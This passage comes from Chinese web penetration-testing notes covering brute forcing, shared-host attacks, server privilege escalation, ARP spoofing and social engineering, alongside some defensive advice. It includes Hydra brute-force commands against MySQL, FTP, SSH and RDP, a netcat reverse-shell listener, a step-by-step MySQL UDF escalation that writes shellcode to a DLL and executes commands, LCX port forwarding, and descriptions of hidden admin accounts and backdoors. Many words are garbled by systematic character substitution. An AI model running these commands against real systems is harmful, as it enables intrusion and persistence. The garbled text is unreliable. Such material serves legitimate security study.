JSON是一种轻量级的数据交换格式。它基于javascript的一个子集。
    JSON是根据引号(""),冒号(:),逗号(,)和花括号({})区分各字符的意义的。若是有恶意用户向JSON中注入恶意字符,那么JSON将解析失败。
    防护JSON注入只须要对其关键字符进行转义便可。

HTTP Parameter Pollution

HTTP Parameter Pollution即HTTP参数午然,简称HPP。他就是web容器处理HTTP参数的问题。
    HTTP参数午然的做用是绕过一些web应用防火墙,简单地说,WAF在脚本还未接收到请求以前就开始对数据进行校验,若是未发现恶意代码,则交给脚本去处理,若是发现恶意代码,就进行拦截,再也不交给脚本去处理。

URL跳转与钓鱼

URL跳转

URL跳转通常分为两种,一种为客户端跳转,一种为服务器端跳转。
1.客户端跳转
    客户端跳转也被称为URL重定向,用户浏览器的地址栏URL会有明显的变化。
2.服务器端跳转
    服务器端跳转也称为URL转发,服务器端跳转时,用户浏览的地址栏URL是不会发生变化的,可是页面会发生变化。

钓鱼

网络中的钓鱼是指钓鱼式攻击,好比,攻击者模拟腾讯网站,或者一些CS架构软件,当用户使用这些软件时,攻击者能够截获用户的帐户信息。
    攻击者的钓鱼网站如何突破各厂商的防御措施和检测呢?使用URL跳转就是其方法之一。

WebServer远程部署

​ 支持远程部署的web服务器不少,例如:FTP,能够直接将源码上传至服务器,而后安装,但若是远程部署配置不当,攻击者就能够经过远程部署功能入侵服务器。

​ 经过远程部署获取webshell并不属于代码层次的漏洞,而是属于配置性错误漏洞。

Tomcat

​ Tomcat时Apache软件基金会jakarta项目中的一个核心项目。若是你的web appliaction存在远程部署功能,就必须设定高强度密码,若是不使用远程部署功能,就尽可能删除它或者关闭它,以防被攻击者恶意利用。

JBoss

​ JBoss是一个基于JavaEE的开放源代码的应用服务器,是一个管理EJB的容器和服务器,支持EJB1.1,EJB2.0和EJB3.0的规范。但JBoss核心服务不包括支持Servlet/JSP的web容器,通常与Tomcat或Jetty绑定使用,能够说,Tomcat为JBoss的一个子集。

​ JBoss服务器默认没有密码认证策略,因此攻击者经常经过Google Hack来批量获取webshell。

​ 为了不出现这种低级的漏洞,服务器管理员必需要将JBoss的jmx-console密码认证开启或者删除jmx-console。

WebLogic

​ WebLogic是美国BEA公司出品的一个Application Server,确切的说,是一个基于Java EE架构的中间件,BEA WebLogic是用于开发,集成,部署和管理大型分布式web应用,网络应用和数据库应用的Java应用服务器。

11.实战入侵与规范

0day攻击:通常指没有公开,没有补丁的漏洞也就是未公开的漏洞。

常见的漏洞信息库:

http://www.exploit-db.com/

http://www.1337day.com/

http://sebug.net/

​ 挖掘0day的方式通常有两种:源代码审计(白盒测试)和模糊渗透测试(黑盒测试)。

​ 源代码审计工做,代码审计人员必须了解网站的总体架构,熟读代码,而且对一些危险函数要彻底了解。

​ 对模糊渗透测试而言,不管对方是开源程序仍是闭源程序,均可以进行工做,并且易于自动化咱们彻底能够使用工具来进行漏洞扫描,可是渗透测试也有缺点,也就是不能彻底发现漏洞。

​ 一些常见的源代码审计工具备 Source,Navigator,Fortify SCA,CheckMarx,

CodeScan,Skavenger等,可是所有都是半自动的,也就是必需要人工参与。

1.网站后台安全

1.模板
工具:WordPress
2.文件管理
工具:DedeCms
3.执行SQL语句
工具:PhpMyAdmin
4.网站备份

2.拖库

​ 拖库就是数据库中数据的导出操做。数据导出操做主要分为两种:一种是数据库支持外链接,也就是容许客户端网络链接数据库;另外一种是不容许外链接,只容许本地操做数据库。

1.支持外链接
(1)导出表结构及数据
(2)导出表数据
2.不支持外链接
(1)SQL注射
(2)越权访问
(3)本地导出

12.暴力破解测试

​ 暴力破解也被称为枚举测试,穷举法测试,是一种针对密码破译的方法,即:将密码逐个比较,直到找出真正的密码为止。

C/S架构破解

1.SQL Server
破解数据库的工具备不少,例如:Nmap,X-scan,Hydra,CrackDB等
    Hydra是著名黑客组织THC的一款开源暴力破解工具,这是一个验证性质的工具,它被设计的主要目的是:展现安全研究人员从远程获取一个系统认证权限。
    Hydra目前支持的破解服务有:FTP,MSSQL,MYSQL,POP3,SSH等。

Hydra破解示例以下:
(1)破解MySQL密码
hydra.exe -L c:\user.txt -P c:\pass.txt 192.168.1.110 mysql
使用-L指定用户名文件,-P指定密码文件
(2)破解FTP密码
hydra.exe -I admin -P c:\pass.txt -t 5 192.168.1.100 ftp
使用-I指定用户名 -t指定线程
(3)破解ssh
hydra.exe -L users.txt -P password.txt -e n -t 5 -vV 192.168.1.100 ssh
使用“-e n”对空密码探测
(4)破解rdp
hydra.exe -I administrator -P c:\pass.txt www.xxser.com rdp -V
破解www.xxser.com的rdp服务,即远程桌面协议
(5)破解pop3
hydra.exe -I root -P pass.txt my.pop3.mail pop3
未指定文件路径时,Hydra将会在本目录下查找文件

2.MySQL
Medusa是迅速的,大规模并行的,模块化的暴力破解程序。Medusa的一些关键特性以下:
(1)基于线程的并行测试,可同时对多台主机进行测试
(2)模块化设计,每一个服务模块做为一个独立的mod文件存在
(3)能够灵活的输入目标主机信息和测试指标

B/S架构破解

​ WordPress是使用PHP语言开发的博客平台,是一个免费的开源项目,用户能够使用WordPress在支持PHP和MySQL数据库的服务器上架设本身的网站。

暴力破解案例

1.攻击OA系统

搜集用户名:
(1)经过邮箱收集
(2)经过错误提示搜集

2.破解验证码

暴力破解验证码常常出如今密码找回,修改密码,交易支付等操做。

3.防止暴力破解

1.密码的重要性:
(1)对重要的应用系统,密码长度最低为6位数以上,尽可能在8-12位之间
(2)毫不容许以本身的手机号码,邮箱等关键“特征”为密码
(3)用户名与密码不能有任何联系
(4)增长密码的复杂性
    --至少一个小写字母
    --至少一个大写字母
    --至少一个数字
    --至少一个特殊字符
2.验证码措施
CAPTCHA(验证码)是区分用户是“机器人”仍是正经常使用户的一种技术,使用验证码能够有效地防止恶意破解密码
3.登陆日志(限制登录次数)
使用登陆日志能够有效地防止暴力破解,登陆日志意味:当用户登陆时,不是直接登陆,而是先在登陆日志中查找用户登录错误的次数,时间等信息,若是操做连续错误,失败,那么将采起某种措施。

13.旁注攻击

​ 旁注攻击即攻击者在攻击目标时,对目标网站“无从下手”,找不到漏洞时,攻击者就可能会经过同一服务器的网站渗透到目标网站,从而获取目标站点的权限,这一过程就是旁注攻击的过程。

​ 旁注攻击并不属于目标站点程序的漏洞,而是来自“外部”的攻击,另外,攻击者在进行旁注操做时,通常都会与提权技术结合在一块儿,旁注与提权是密不可分的。

服务端web架构

​ 一个服务器可能存在多个网站或多个数据库,攻击者可能经过数据库提权的方式获取服务器的管理员权限。

IP逆向查询

​ 常见的IP反差网站:

http://tool.chinaz.com/Same/

http://dns.aizhan.com/

http://www.114best.com/ip/

SQL跨库查询

​ SQL旁注即为跨库查询攻击,是管理员没有分配好数据库用户权限所致使的问题。

​ 一般,在一个数据库中会有多名用户,用户之间互不干扰,可是若是权限分配不当,用户之间就可能存在越权操做。也被攻击者称为跨库查询。

​ 在分配用户权限时,必定要保持一个原则:权限最小原则。即所分配的权限在不干扰程序运行的状况下,分配最小的权限。

目录越权

​ 正常状况下,每一个web应用程序都存在于一个单独的目录中,各程序之间互不干扰,独立运行。但服务器管理员配置不当时,就会发生目录越权的风险。

构造注入点

​ 网站自己不存在注入点,而是利用其它漏洞获取的权限,这时,攻击者通常会根据对应的脚本语言来构造一个注入点,而后使用工具辅助完成后续任务。

​ 构造注入最主要的是获得数据库的帐户信息,而后使用脚本链接。

CDN

​ CDN的全称是Content Delivery Network,即内容分发网络。其基本思路是:尽量地避开互联网上有可能影响数据传输速度和稳定性的瓶颈,环节,使内容的传输速度更快,更稳定。

​ 使用CDN的效果:

  • 不用担忧本身网站的访客,任什么时候间,任何地点和任何网络运营商都能快速打开网站

  • 各类服务器虚拟主机带宽等采购成本(包括后期运营成本)都会大大减小

  • 有效防护SYN Flood,UDP Flood,ICMP Flood,CC等常见的DDoS攻击等,CND有一套本身的安全处理机制

  • 能够阻止大部分的web攻击,如SQL注入,XSS跨站等漏洞

    ​ CDN就是将原服务器上能够缓存的文件(静态文件,图片,JS,CSS等)下载到缓存服务器,当用户在访问你的域名时,都会访问缓存服务器,而不是直接去访问源服务器。

常见的搜集真实IP的方法:
(1)phpinfo()
(2)子域名   --ping命令
(3)观察IP变化  --网站http://toolbar.netcraft.com/

14.提权

​ 提权是将服务器的普通用户提高为管理员用户的一种操做,提权经常用于辅助旁注攻击。

​ 攻击者对服务器提权通常分为两种:一种是溢出提权,另外一种是第三方组件提权。

溢出提权

​ 溢出提权是指攻击者利用系统自己或系统中软件的漏洞来获取root权限,其中溢出提权分为远程溢出与本地溢出。

​ 远程溢出是指攻击者只须要与服务器创建链接,而后根据系统的漏洞,使用相应的溢出程序,便可获取到远程服务器的root权限。

​ 本地溢出提权时,攻击者首先须要有服务器一个用户,且须要有执行权限的用户才可能发起提权。攻击者一般向服务器上传本地溢出程序,在服务器端执行。若是系统存在漏洞,那么将会溢出root权限。

1.Linxu提权
(1)查看服务器内核版本
命令:uname-a   --查看内核版本
    id&uname-a  --查看当前用户的ID,所属群组的ID以及内核版本号
(2)本地接收服务器端数据
命令:nc -I -n -v -p 8888 --使用NC接听本地端口8888,等待服务器端反向链接
注:你的计算机IP必须为外网,不然须要端口转发
(3)服务器端Shell(执行命令通道)反弹
(4)服务器反弹shell后,就能够在本地执行一些低权限的命令,此时就至关于链接了服务器的ssh,而后将本地溢出Exp上传到服务器中执行,若是服务器存在本地溢出漏洞,将会获得一个相似root权限的SSH链接


2.Windows提权
(1)探测脚本信息
(2)执行简单的系统命令
常见的一些CMD参数:
/C      --执行命令后终止
/K      --执行命令后保留
/S      --修改/C或/K以后的字符串处理
/Q      --关闭回显
/D      --禁止从注册表执行AutoRun命令
/A      --使管道或文件的内部命令输出为ANSI
/U      --使管道或文件的内部命令输出成为Unicode

第三方组件提权

​ 服务器运行时可能须要不少组件支持,好比,服务器安装了。NET framew

ork,PcAnyhere,MySQL,SQL Server等组件,攻击者有可能经过这类组件进行提权操做

1.信息收集
(1)服务器支持的脚本语言
(2)服务器端口探测
    探测服务器端口有三种方式:经过本地扫描,经过远程扫描以及执行系统命令等查看端口
(3)搜集路径信息

2.数据库提权
(1)SQL Server
    SQL Server提权主要是依据一个特殊的存储过程:"xp_cmdshell",经过这个存储过程能够调用系统命令(只有在sysadmin权限下才能够使用)
    SQL Server提权通常分为两种:注入点和获得数据库帐户信息。
(2)MySQL
    MySQL最多见的是UDF提权,UDF是User defined Function的缩写,即用户定义函数,详细测试步骤以下:
①CREATE TABLE TempTable(UDF BLOB) //建立临时表
②INSERT INTOtEMPTableVALUES(CONVERT(shellcode,CHAR))   //插入shellcode
③SELECT UDF FROM TempTable INTO DUMPFILE'C:\Windows\udf.dll'
 //导出UDF。dll
④DROP TABLE TempTable  //删除临时表
⑤create function cmdshell returns string soname 'udf.dll' //建立cmdshell函数
⑥select cmdshell('command') //执行命令
⑦drop function cmdshell //删除cmdshell函数


3.FTP提权
    FTP的全称是File Transfer Protocol(文件传输协议),是在TCP/IP网络和Internet上最先使用的协议之一。
    FTP服务通常运行于20与21两个端口。其中端口20用于在客户端和服务器之间传输数据流,而端口21用于传输控制流,而且是命令通向FTP服务器的进口。
    FTP提权主要缘由是利用FTP软件能够执行系统命令,当用户的FTP权限未配置正确,或者权限未配置正确,或者权限过大时,就可能被攻击者用来提权。
    针对webshell能够利用Serv-U,FileZilla等FTP系列软件,经过这类软件添加FTP用户,再由FTP用户执行系统命令。
    (1)Serv-U提权
    (2)G6 FTP提权
    (3)FileZilla提权
    (4)FlashFXP提权
    (5)PcAnywhere提权

虚拟主机提权

​ 虚拟主机是使用特殊的软/硬件技术把一台真实的物理电脑主机分红多个逻辑存储单元,每一个单元都没有物理实体,可是每一个单元都能像真实的物理主机同样在网络中工做,具备单独的域名,IP地址以及完整的Internet服务器功能。

​ 在外界看来,每一台虚拟主机与一台单独主机的表现彻底相同。因此,这种被虚拟化的逻辑主机被形象的成为”虚拟主机“。

​ 常见的虚拟主机有:星外虚拟主机,华众虚拟主机,西部数码虚拟主机,N点虚拟主机,新网虚拟主机等。

提权辅助

3389端口

​ 3389端口是微软提供的远程桌面服务默认的端口,也经常被称做终端端口。远程桌面协议即Remote Desktop Protocol,简称为RDP

​ 3389端口也是攻击者”喜好“的端口之一。攻击者对主机提权后,一般会加一个隐蔽的管理员帐户,而后经过3389端口链接服务器。

​ 有些状况下,主机即便开放了终端链接端口,也没法链接,缘由可能有如下几种。

  • 主机在内网中
  • 管理员设定了指定用户能够使用终端登陆
  • 作了安全策略
  • 作了TCP/IP筛选

端口转发

1.LCX转发
LCX是最多见的端口转发软件之一,。首先在服务器端执行命令:
lcx -listen 500 8888   //监听500,8888端口
执行命令后,在要转发的计算机上执行如下命令:
lcx.exe -slave 服务器端IP 500 127.0.0.1 3389
//将本机的3389端口数据发送到服务器端的500端口

2.使用shell脚本自带端口转发功能

3.reDuh转发

启动项提权

​ windows系统在启动后能够自动加载一些软件,俗称开机启动。凡是在“C:\Documents and Settings\Administrator [开始] 菜单\程序\启动”目录下的程序,windows在启动后都会一一执行,利用此特性,攻击者能够进行提权操做。

DLL劫持

​ lpk.dll位于system32目录下,特色是每一个可执行文件运行以前都要加载该文件。而windows系统是先判断当前文件目录是否存在此文件中,若是存在,则执行当前目录DLL,若是不存在,则会执行system32目录下的DLL。

​ 这样,若是将这个lpk.dll传至任意目录,只要运行了目录中的任何exe文件,都会运行lpk.dll,若是lpk.dll是攻击者攻击过的程序,威胁就不言而喻了。

添加后门

​ 攻击者获取到服务器权限后,经常会留下一个后门,将这台服务器变成本身的“私人用品”。接下来以windows为例介绍攻击者最经常使用的几种后门方式。

  • 远程控制程序。攻击者在留后门时,远程控制程序是首选,特别是免杀的控制程序,即便安装了再多的杀毒软件,也没有什么用处
  • 服务器管理帐号后门。服务器一般开放3389端口,以便进行管理,攻击者通常都会创建一个隐藏帐号,管理员是看不到的。
  • 克隆帐户。克隆帐户也是攻击者经常使用的留后门手段,例如:guest用户被克隆后,当管理员查看guest用户时,它仍属于guest组,并处于禁用状态。可是guest却能够以管理员权限登陆到系统。
  • administrator帐户密码。攻击者经常会以真正的服务器管理员身份登陆服务器。攻击者最经常使用的手段就是劫持3389端口的登陆信息,或者抓取管理员帐户HASH破解密码。获取服务器管理员的密码后,攻击者也不用再去种植后门。
  • 线程插入后门。线程插入后门是利用系统自身的某个服务或者线程。将后门程序插入其中,向BITS,devil5,PortLess BackDoor等都是线程插入后门。
  • web后门。web后门属于文本文件,杀毒软件通常没法查杀,攻击者能够经过web后门再次提权,获取系统权限,因此,服务器管理员必须定时查杀web后门。

服务器防提权措施

  • 给服务器打补丁,及时更新,杀毒软件定时杀毒(包括web杀毒)
  • 关闭危险端口,如445,135等
  • 删除system32目录下的敏感exe文件,如:cmd.exe,net.exe,netl.exe等
  • 删除不安全的组件,不少组件均可以直接调用系统命令,如:WScript.Shell,Shell.appliaction
  • 安装一些服务器安全配置软件,如安全狗,云锁,D盾等软件。

15.ARP欺骗攻击

ARP协议简介

​ ARP是Address Resolution Protocol(地址解析协议)的缩写。地址解析协议的基本功能就是在主机发送数据以前将目标IP转换为MAC地址,完成网络地址到物理地址的映射,以保证两台主机可以正常通讯。

ARP缓存表

​ 任何一台主机安装了TCP/IP协议都会有ARP缓存表,该表保存了这个网络(局域网)中个主机IP对应的MAC地址,ARP缓存表可以有效地保证数据传输的一对一特性。在windows中能够使用arp -a命令来查看缓存表。若是想要清空ARP缓存表,能够使用ARP -d命令,若是想删除单个条目,则能够使用arp -d ip命令。windows默认的ARP缓存项存活时间为两分钟。

ARP欺骗原理

​ ARP协议主要的缺陷以下:

  • 因为主机不知道通讯对方的MAC地址,因此才须要ARP广播请求获取。挡在广播请求时,攻击者能够假装ARP应答,冒充真正要通讯的主机,以假乱真
  • ARP协议是无状态的,这就表示主机能够自由地发送ARP应答包,即便主机并未收到查询,而且任何ARP响应都是合法的,许多主机会接受未请求的ARP应答包
  • 一台主机的IP被缓存在另外一台主机中,它就会被看成一台可信任的主机。而计算机没有提供检验IP到MAC地址是否正确的机制。当主机接收到一个ARP应答后,主机再也不考虑IP到MAC地址的真实性和有效性,而是直接将应答包中的MAC地址与对应的IP地址替换掉原有ARP缓存表的相关信息。

ARP攻击

​ 所谓C段攻击,就是指同一网关下的主机ARP嗅探,在嗅探出敏感数据后,继续实施对目标网站的渗透。

​ 经常使用的ARP欺骗工具:

  • Cain

    Cain&Abel是由Oxid.it开发的一个针对Microsoft操做系统的口令恢复工具,其功能十分强大,能够进行网络嗅探,网络欺骗,破解加密口令,显示缓存口令和分析路由协议等。

  • Ettercap

    Ettercap是一款强大的中间人攻击工具,可用于主机分析,嗅探,DNS欺骗等。Ettercap提供了三个接口:传统的命令行模式,图形化界面及NCURSES.

  • NetFuke

    NetFuke是windows下的一款ARP欺骗嗅探测试工具。

防护ARP攻击

​ 最多见的防护ARP攻击的方法通常有两种,一种是静态绑定,另外一种是安装ARP防火墙。

静态绑定

​ 静态绑定是指对每台主机进行IP和MAC地址静态绑定,静态绑定是防止ARP欺骗的最根本方法。

​ 静态绑定能够经过命令arp -s实现:‘arp -s IP MAC地址’,好比,对网关的静态绑定:

arp -s 192.168.195.2 00-50-56-ee-12-6a

​ 另外也须要网关对局域网主机进行IP->MAC地址的静态绑定,这就是双绑。

ARP防火墙

​ 相对来讲,使用ARP防火墙要比静态绑定ARP缓存表要简单的多,而且一样能有效地防止ARP攻击。

​ ARP防火墙有不少,常见的有金山ARP防火墙,Anti ARP Sniffer(彩影防火墙),360ARP防火墙等。

16.社会工程学

​ 社会工程学简称社工,它是经过对受害者心理弱点,本地反应,好奇心,信任,贪婪等心理陷阱进行诸如欺骗,伤害的一种危害手段。

​ 社会工程学常常被Hacker运用在web渗透方面,也被称为没有“技术”,却比“技术”更强大的渗透方式。

信息搜集

Whois

​ Whois能够用来查询域名是否已经被注册,若是已经被注册,将hi查询域名的详细信息,好比:域名注册商,域名注册日期,域名注册人联系方式等。

友情连接和联系方式

​ 若是能够获取到邮箱地址,就能够经过whois反查的方式来肯定这个邮箱到底拥有多少个网站。

​ 当目标网站没法被攻破时,攻击者就可能会尝试对这些网站进行渗透,去寻找一些敏感信息。当攻击者有了这些信息以后,能够直接经过社工库查询出一些“密码”。

沟通

​ 一个成功的社工师必然是一个拥有”读心术“的沟通专家,他们老是可以经过沟通获得本身想要的信息,而且社工师也必然是一个多才多艺的人,由于一个社工师可能有多个身份,并且沟通时必然要懂得一些专业术语,投其所好。

案例1:经过挂广告渗透网站

案例2:获取信任后获得服务器的密码

伪造

​ 社工师们不但善于沟通,也善于伪造,他们为了达到目标不择手段。只要用获得,社工师都会想尽一切办法伪造。

相关文章
相关标签/搜索